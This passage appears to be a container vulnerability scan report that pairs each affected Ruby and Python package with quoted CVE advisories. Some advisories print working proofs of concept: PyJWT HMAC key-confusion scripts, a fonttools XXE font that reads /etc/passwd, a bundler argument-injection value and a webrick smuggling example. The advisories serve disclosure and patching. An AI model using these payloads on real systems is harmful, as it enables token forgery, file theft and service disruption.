fix this vulnerability. Workarounds Don't parse untrusted XMLs. References https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176/

uri 0.10.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range =0.10.1 Fixed version 0.10.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.452% EPSS Percentile 63rd percentile Description A ReDoS issue was discovered in the URI component through 0.12.0 in Ruby through 3.2.1. The URI parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to URI objects. The fixed versions are 0.12.1, 0.11.1, 0.10.2 and 0.10.0.1. Inefficient Regular Expression Complexity Affected range >=0.10.1 <0.10.3 Fixed version 0.10.3 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 1.202% EPSS Percentile 78th percentile Description A ReDoS issue was discovered in the URI component before 0.12.2 for Ruby. The URI parser mishandles invalid URLs that have specific characters. There is an increase in execution time for parsing strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb. NOTE: this issue exists becuse of an incomplete fix for CVE-2023-28755. Version 0.10.3 is also a fixed version. The Ruby advisory recommends updating the uri gem to 0.12.2. In order to ensure compatibility with the bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0: Update to uri 0.10.3 For Ruby 3.1 and 3.2: Update to uri 0.12.2. You can use gem update uri to update it. If you are using bundler, please add gem uri, >= 0.12.2 (or other version mentioned above) to your Gemfile. Exposure of Sensitive Information to an Unauthorized Actor Affected range <0.11.3 Fixed version 0.11.3 CVSS Score 2.1 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N EPSS Score 0.018% EPSS Percentile 3rd percentile Description There is a possibility for userinfo leakage by in the uri gem. This vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem. Details The methods URI#join, URI#merge, and URI#+ retained userinfo, such as user:password, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur. Please update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later. Affected versions uri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2. Credits Thanks to Tsubasa Irisawa (lambdasawa) for discovering this issue. Also thanks to nobu for additional fixes of this vulnerability.

webrick 1.7.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <=1.8.1 Fixed version 1.8.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.119% EPSS Percentile 32nd percentile Description An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production." Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <1.8.2 Fixed version 1.8.2 CVSS Score 6.5 CVSS Vector CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N EPSS Score 0.059% EPSS Percentile 18th percentile Description Ruby WEBrick read_header HTTP Request Smuggling Vulnerability. This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the read_headers method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests. Was ZDI-CAN-21876.

wheel 0.37.1 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Inefficient Regular Expression Complexity Affected range <0.38.1 Fixed version 0.38.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.196% EPSS Percentile 42nd percentile Description Python Packaging Authority (PyPA) Wheel is a reference implementation of the Python wheel packaging standard. Wheel 0.37.1 and earlier are vulnerable to a Regular Expression denial of service via attacker controlled input to the wheel cli. The vulnerable regex is used to verify the validity of Wheel file names. This has been patched in version 0.38.1.

pyjwt 2.3.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Use of a Broken or Risky Cryptographic Algorithm Affected range >=1.5.0 <2.4.0 Fixed version 2.4.0 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 0.400% EPSS Percentile 60th percentile Description Impact What kind of vulnerability is it? Who is impacted? Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.) For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations. PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used. Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify. From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519". import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad:     print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # #        invalid_strings = [ #            b"-----BEGIN PUBLIC KEY-----", #            b"-----BEGIN CERTIFICATE-----", #            b"-----BEGIN RSA PUBLIC KEY-----", #            b"ssh-rsa", #        ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # #                if "-----BEGIN PUBLIC" in str_key: #                    return load_pem_public_key(key) #                if "-----BEGIN PRIVATE" in str_key: #                    return load_pem_private_key(key, password=None) #                if str_key[0:4] == "ssh-": #                    return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behavior import jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects. Patches Users should upgrade to v2.4.0. Workarounds Always be explicit with the algorithms that are accepted and expected when decoding. References Are there any links users can visit to find out more? For more information If you have any questions or comments about this advisory: Open an issue in https://github.com/jpadilla/pyjwt Email José Padilla: pyjwt at jpadilla dot com

time 0.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range <0.1.1 Fixed version 0.1.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.871% EPSS Percentile 74th percentile Description A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.

fonttools 4.29.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Restriction of XML External Entity Reference Affected range >=4.28.2 <4.43.0 Fixed version 4.43.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.131% EPSS Percentile 33rd percentile Description Summary As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. PoC The vulnerability can be reproduced following the bellow steps on a unix based system. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs Read the parsed SVG table in the subsetted font: ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx Observed the included contents of the /etc/passwd file. Impact Note the final severity is dependant on the environment fontTools is running in. The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: Set the resolve_entities=False flag on parsing methods Consider further methods of disallowing doctype declarations Consider recursive regex matching

mpmath 0.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Allocation of Resources Without Limits or Throttling Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.352% EPSS Percentile 84th percentile Description A Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Mpmath v1.0.0 when the mpmathify function is called.

date 3.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range >=3.1.0 <3.1.2 Fixed version 3.1.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.538% EPSS Percentile 67th percentile Description Date’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected. The fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse. Please update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem "date", ">= 3.2.1" to your Gemfile. If you import date from the standard library rather than as a gem you should update your Ruby install to 3.0.3, 2.7.5, 2.6.9 or later. Users unable to upgrade may consider using Date.strptime instead with a predefined date format Date.strptime('2001-02-20', '%Y-%m-%d')

babel 2.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <2.9.1 Fixed version 2.9.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.130% EPSS Percentile 33rd percentile Description Babel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.

jinja2 3.0.3 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements Used in a Template Engine Affected range <=3.1.5 Fixed version 3.1.6 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.115% EPSS Percentile 31st percentile Description An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup. Protection Mechanism Failure Affected range <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.091% EPSS Percentile 27th percentile Description An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox. Improper Neutralization of Escape, Meta, or Control Sequences Affected range >=3.0.0 <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 5th percentile Description A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used. To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.4 Fixed version 3.1.4 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.576% EPSS Percentile 68th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, /, >, or =, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the xmlattr filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting values as user input continues to be safe. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.3 Fixed version 3.1.3 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.093% EPSS Percentile 27th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

bundler 2.2.22 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affected range <2.2.33 Fixed version 2.2.33 CVSS Score 6.7 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H EPSS Score 1.811% EPSS Percentile 82nd percentile Description In bundler versions before 2.2.33, when working with untrusted and apparently harmless Gemfile's, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the Gemfile itself. However, if the Gemfile includes gem entries that use the git option with invalid, but seemingly harmless, values with a leading dash, this can be false. To handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables. Since this value comes from the Gemfile file, it can contain any character, including a leading dash. Exploitation To exploit this vulnerability, an attacker has to craft a directory containing a Gemfile file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of -u./payload. This URL will be used to construct a Git clone command but will be interpreted as the upload-pack argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as bundle lock, inside. Impact This vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the Gemfile (although they would need the weird URL with a leading dash to not raise any flags). This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on. Patches Bundler 2.2.33 has patched this problem by inserting -- as an argument before any positional arguments to those Git commands that were affected by this issue. Workarounds Regardless of whether users can upgrade or not, they should review any untrustred Gemfile's before running any bundler commands that may read them, since they can contain arbitrary ruby code. References https://cwe.mitre.org/data/definitions/88.html

oauthlib 3.2.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Improper Input Validation Affected range >=3.1.1 <3.2.2 Fixed version 3.2.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.380% EPSS Percentile 59th percentile Description Impact Attacker providing malicious redirect uri can cause DoS to oauthlib's web application. Attacker can also leverage usage of uri_validate functions depending where it is used. What kind of vulnerability is it? Who is impacted? Oauthlib applications using OAuth2.0 provider support or use directly uri_validate function. Patches Has the problem been patched? What versions should users upgrade to? Issue fixed in 3.2.2 release. Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? The redirect_uri can be verified in web toolkit (i.e bottle-oauthlib, django-oauth-toolkit, ...) before oauthlib is called. A sample check if : is present to reject the request can prevent the DoS, assuming no port or IPv6 is fundamentally required. References Attack Vector: Attacker providing malicious redirect uri: https://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232 Vulnerable uri_validate functions: https://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py PoC is_absolute_uri("http://[:::::::::::::::::::::::::::::::::::::::]/path") Acknowledgement Special thanks to Sebastian Chnelik - PyUp.io

pygments 2.11.2 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Unrestricted Upload of File with Dangerous Type Affected range <2.15.0 Fixed version 2.15.0 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.053% EPSS Percentile 16th percentile Description A ReDoS issue was discovered in pygments/lexers/smithy.py in Pygments until 2.15.0 via SmithyLexer.

pip 22.0.2 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements used in a Command ('Command Injection') Affected range <23.3 Fixed version 23.3 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.044% EPSS Percentile 13th percentile Description When installing a package from a Mercurial VCS URL, e.g. pip install hg+..., with pip prior to v23.3, the specified Mercurial revision could be used to inject arbitrary configuration options to the hg clone call (e.g. --config). Controlling the Mercurial configuration can modify how and which repository is installed. This vulnerability does not affect users who aren't installing from Mercurial.

zipp 1.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Uncontrolled Resource Consumption Affected range <3.19.1 Fixed version 3.19.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.037% EPSS Percentile 10th percentile Description A Denial of Service (DoS) vulnerability exists in the jaraco/zipp library, affecting all versions prior to 3.19.1. The vulnerability is triggered when processing a specially crafted zip file that leads to an infinite loop. This issue also impacts the zipfile module of CPython, as features from the third-party zipp library are later merged into CPython, and the affected code is identical in both projects. The infinite loop can be initiated through the use of functions affecting the Path module in both zipp and zipfile, such as joinpath, the overloaded division operator, and iterdir. Although the infinite loop is not resource exhaustive, it prevents the application from responding. The vulnerability was addressed in version 3.19.1 of jaraco/zipp.

resolv 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Validation of Specified Quantity in Input Affected range <0.2.3 Fixed version 0.2.3 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 0.022% EPSS Percentile 5th percentile Description A denial of service vulnerability has been discovered in the resolv gem bundled with Ruby. Details The vulnerability is caused by an insufficient check on the length of a decompressed domain name within a DNS packet. An attacker can craft a malicious DNS packet containing a highly compressed domain name. When the resolv library parses such a packet, the name decompression process consumes a large amount of CPU resources, as the library does not limit the resulting length of the name. This resource consumption can cause the application thread to become unresponsive, resulting in a Denial of Service condition. Affected Version The vulnerability affects the resolv gem bundled with the following Ruby series: Ruby 3.2 series: resolv version 0.2.2 and earlier Ruby 3.3 series: resolv version 0.3.0 Ruby 3.4 series: resolv version 0.6.1 and earlier Credits Thanks to Manu for discovering this issue. History Originally published at 2025-07-08 07:00:00 (UTC)

